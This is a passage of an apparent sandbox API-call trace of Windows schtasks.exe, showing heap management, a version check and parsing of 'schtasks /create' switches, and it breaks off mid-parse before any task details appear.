RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac270) returned 0x8 [0132.907] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac270 | out: hHeap=0x190000) returned 1 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80) returned 1 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acc80) returned 0x20 [0132.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc80 | out: hHeap=0x190000) returned 1 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad4e0) returned 1 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad4e0) returned 0xe [0132.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad4e0 | out: hHeap=0x190000) returned 1 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1accb0) returned 1 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1accb0) returned 0x20 [0132.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1accb0 | out: hHeap=0x190000) returned 1 [0132.908] GetProcessHeap () returned 0x190000 [0132.908] GetProcessHeap () returned 0x190000 [0132.909] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcb0) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1adcb0) returned 0x8 [0132.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcb0 | out: hHeap=0x190000) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acce0) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acce0) returned 0x20 [0132.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acce0 | out: hHeap=0x190000) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcd0) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1adcd0) returned 0x6 [0132.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcd0 | out: hHeap=0x190000) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] GetProcessHeap () returned 0x190000 [0132.909] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd10) returned 1 [0132.909] GetProcessHeap () returned 0x190000 [0132.910] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd10) returned 0x20 [0132.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd10 | out: hHeap=0x190000) returned 1 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcf0) returned 1 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1adcf0) returned 0x8 [0132.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1adcf0 | out: hHeap=0x190000) returned 1 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd40) returned 1 [0132.910] GetProcessHeap () returned 0x190000 [0132.910] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd40) returned 0x20 [0132.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd40 | out: hHeap=0x190000) returned 1 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a9330) returned 1 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a9330) returned 0x48 [0132.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a9330 | out: hHeap=0x190000) returned 1 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd70) returned 1 [0132.911] GetProcessHeap () returned 0x190000 [0132.911] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acd70) returned 0x20 [0132.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acd70 | out: hHeap=0x190000) returned 1 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1add70) returned 1 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1add70) returned 0x8 [0132.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1add70 | out: hHeap=0x190000) returned 1 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acda0) returned 1 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acda0) returned 0x20 [0132.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acda0 | out: hHeap=0x190000) returned 1 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] GetProcessHeap () returned 0x190000 [0132.912] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad560) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad560) returned 0x10 [0132.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad560 | out: hHeap=0x190000) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acdd0) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acdd0) returned 0x20 [0132.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acdd0 | out: hHeap=0x190000) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1add90) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1add90) returned 0x6 [0132.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1add90 | out: hHeap=0x190000) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ace00) returned 1 [0132.913] GetProcessHeap () returned 0x190000 [0132.913] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ace00) returned 0x20 [0132.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ace00 | out: hHeap=0x190000) returned 1 [0132.914] GetProcessHeap () returned 0x190000 [0132.914] GetProcessHeap () returned 0x190000 [0132.914] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9b0) returned 1 [0132.914] GetProcessHeap () returned 0x190000 [0132.914] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab9b0) returned 0x18 [0132.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9b0 | out: hHeap=0x190000) returned 1 [0132.914] SetLastError (dwErrCode=0x0) [0132.914] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0132.914] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0132.914] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0132.914] VerifyVersionInfoW (in: lpVersionInformation=0x17c4b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17c4b0) returned 1 [0132.914] SetLastError (dwErrCode=0x0) [0132.915] lstrlenW (lpString="create") returned 6 [0132.915] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0132.915] SetLastError (dwErrCode=0x490) [0132.915] SetLastError (dwErrCode=0x0) [0132.915] lstrlenW (lpString="create") returned 6 [0132.915] GetProcessHeap () returned 0x190000 [0132.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1ace00 [0132.915] GetProcessHeap () returned 0x190000 [0132.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ad560 [0132.915] _memicmp (_Buf1=0x1ad560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.915] GetProcessHeap () returned 0x190000 [0132.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x16) returned 0x1ad4e0 [0132.915] SetLastError (dwErrCode=0x0) [0132.915] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.915] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1abc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0132.915] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0132.916] GetProcessHeap () returned 0x190000 [0132.916] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x74e) returned 0x1add70 [0132.916] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1add70 | out: lpData=0x1add70) returned 1 [0132.916] VerQueryValueW (in: pBlock=0x1add70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17c598, puLen=0x17c600 | out: lplpBuffer=0x17c598*=0x1ae10c, puLen=0x17c600) returned 1 [0132.916] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.916] _vsnwprintf (in: _Buffer=0x1abc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17c578 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0132.916] VerQueryValueW (in: pBlock=0x1add70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17c608, puLen=0x17c5f8 | out: lplpBuffer=0x17c608*=0x1adf38, puLen=0x17c5f8) returned 1 [0132.916] lstrlenW (lpString="schtasks.exe") returned 12 [0132.916] lstrlenW (lpString="schtasks.exe") returned 12 [0132.916] lstrlenW (lpString=".EXE") returned 4 [0132.916] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0132.917] lstrlenW (lpString="schtasks.exe") returned 12 [0132.917] lstrlenW (lpString=".EXE") returned 4 [0132.917] lstrlenW (lpString="schtasks") returned 8 [0132.917] lstrlenW (lpString="/create") returned 7 [0132.917] _memicmp (_Buf1=0x1aba70, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.917] _vsnwprintf (in: _Buffer=0x1abc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x17c578 | out: _Buffer="schtasks /create") returned 16 [0132.917] _memicmp (_Buf1=0x1aba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.917] GetProcessHeap () returned 0x190000 [0132.917] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acdd0 [0132.917] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.917] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0132.917] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0132.917] GetProcessHeap () returned 0x190000 [0132.917] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x30) returned 0x1a7ab0 [0132.917] _vsnwprintf (in: _Buffer=0x1ac010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17c578 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0132.917] GetProcessHeap () returned 0x190000 [0132.917] GetProcessHeap () returned 0x190000 [0132.917] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1add70) returned 1 [0132.917] GetProcessHeap () returned 0x190000 [0132.917] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1add70) returned 0x74e [0132.918] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1add70 | out: hHeap=0x190000) returned 1 [0132.918] SetLastError (dwErrCode=0x0) [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="create") returned 6 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="?") returned 1 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="s") returned 1 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="u") returned 1 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="p") returned 1 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.918] lstrlenW (lpString="ru") returned 2 [0132.918] GetThreadLocale () returned 0x409 [0132.918] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="rp") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="sc") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="mo") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="d") returned 1 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="m") returned 1 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="i") returned 1 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="tn") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="tr") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="st") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.919] lstrlenW (lpString="sd") returned 2 [0132.919] GetThreadLocale () returned 0x409 [0132.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.920] lstrlenW (lpString="ed") returned 2 [0132.920] GetThreadLocale () returned 0x409 [0132.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="it") returned 2 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="et") returned 2 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="k") returned 1 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="du") returned 2 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="ri") returned 2 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="z") returned 1 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="f") returned 1 [0132.923] GetThreadLocale () returned 0x409 [0132.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.923] lstrlenW (lpString="v1") returned 2 [0132.923] GetThreadLocale () returned 0x409 [0132.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.924] lstrlenW (lpString="xml") returned 3 [0132.924] GetThreadLocale () returned 0x409 [0132.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.924] lstrlenW (lpString="ec") returned 2 [0132.924] GetThreadLocale () returned 0x409 [0132.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.924] lstrlenW (lpString="rl") returned 2 [0132.924] GetThreadLocale () returned 0x409 [0132.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.924] lstrlenW (lpString="delay") returned 5 [0132.924] GetThreadLocale () returned 0x409 [0132.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0132.924] lstrlenW (lpString="np") returned 2 [0132.924] SetLastError (dwErrCode=0x0) [0132.924] SetLastError (dwErrCode=0x0) [0132.924] lstrlenW (lpString="/create") returned 7 [0132.924] lstrlenW (lpString="-/") returned 2 [0132.924] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.924] lstrlenW (lpString="create") returned 6 [0132.924] lstrlenW (lpString="create") returned 6 [0132.924] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.924] lstrlenW (lpString="create") returned 6 [0132.924] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.924] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.924] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.924] lstrlenW (lpString="|create|") returned 8 [0132.925] lstrlenW (lpString="|create|") returned 8 [0132.925] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0132.925] SetLastError (dwErrCode=0x0) [0132.925] SetLastError (dwErrCode=0x0) [0132.925] SetLastError (dwErrCode=0x0) [0132.925] lstrlenW (lpString="/tn") returned 3 [0132.925] lstrlenW (lpString="-/") returned 2 [0132.925] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.925] lstrlenW (lpString="create") returned 6 [0132.925] lstrlenW (lpString="create") returned 6 [0132.925] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.925] lstrlenW (lpString="tn") returned 2 [0132.925] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.925] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.925] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.925] lstrlenW (lpString="|create|") returned 8 [0132.925] lstrlenW (lpString="|tn|") returned 4 [0132.925] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0132.925] SetLastError (dwErrCode=0x490) [0132.925] lstrlenW (lpString="?") returned 1 [0132.925] lstrlenW (lpString="?") returned 1 [0132.925] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.925] lstrlenW (lpString="tn") returned 2 [0132.925] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.925] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.925] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.926] lstrlenW (lpString="|?|") returned 3 [0132.926] lstrlenW (lpString="|tn|") returned 4 [0132.926] SetLastError (dwErrCode=0x490) [0132.926] lstrlenW (lpString="s") returned 1 [0132.926] lstrlenW (lpString="s") returned 1 [0132.926] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.926] lstrlenW (lpString="tn") returned 2 [0132.926] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.926] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.926] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.926] lstrlenW (lpString="|s|") returned 3 [0132.926] lstrlenW (lpString="|tn|") returned 4 [0132.926] SetLastError (dwErrCode=0x490) [0132.926] lstrlenW (lpString="u") returned 1 [0132.926] lstrlenW (lpString="u") returned 1 [0132.926] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.926] lstrlenW (lpString="tn") returned 2 [0132.926] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.926] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.926] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.926] lstrlenW (lpString="|u|") returned 3 [0132.926] lstrlenW (lpString="|tn|") returned 4 [0132.926] SetLastError (dwErrCode=0x490) [0132.926] lstrlenW (lpString="p") returned 1 [0132.926] lstrlenW (lpString="p") returned 1 [0132.926] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] lstrlenW (lpString="tn") returned 2 [0132.927] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.927] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.927] lstrlenW (lpString="|p|") returned 3 [0132.927] lstrlenW (lpString="|tn|") returned 4 [0132.927] SetLastError (dwErrCode=0x490) [0132.927] lstrlenW (lpString="ru") returned 2 [0132.927] lstrlenW (lpString="ru") returned 2 [0132.927] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] lstrlenW (lpString="tn") returned 2 [0132.927] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.927] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.927] lstrlenW (lpString="|ru|") returned 4 [0132.927] lstrlenW (lpString="|tn|") returned 4 [0132.927] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0132.927] SetLastError (dwErrCode=0x490) [0132.927] lstrlenW (lpString="rp") returned 2 [0132.927] lstrlenW (lpString="rp") returned 2 [0132.927] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] lstrlenW (lpString="tn") returned 2 [0132.927] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.927] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.927] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.927] lstrlenW (lpString="|rp|") returned 4 [0132.928] lstrlenW (lpString="|tn|") returned 4 [0132.928] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0132.928] SetLastError (dwErrCode=0x490) [0132.928] lstrlenW (lpString="sc") returned 2 [0132.928] lstrlenW (lpString="sc") returned 2 [0132.928] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.928] lstrlenW (lpString="tn") returned 2 [0132.928] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.928] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.928] _vsnwprintf (in: _Buffer=0x1ac220, 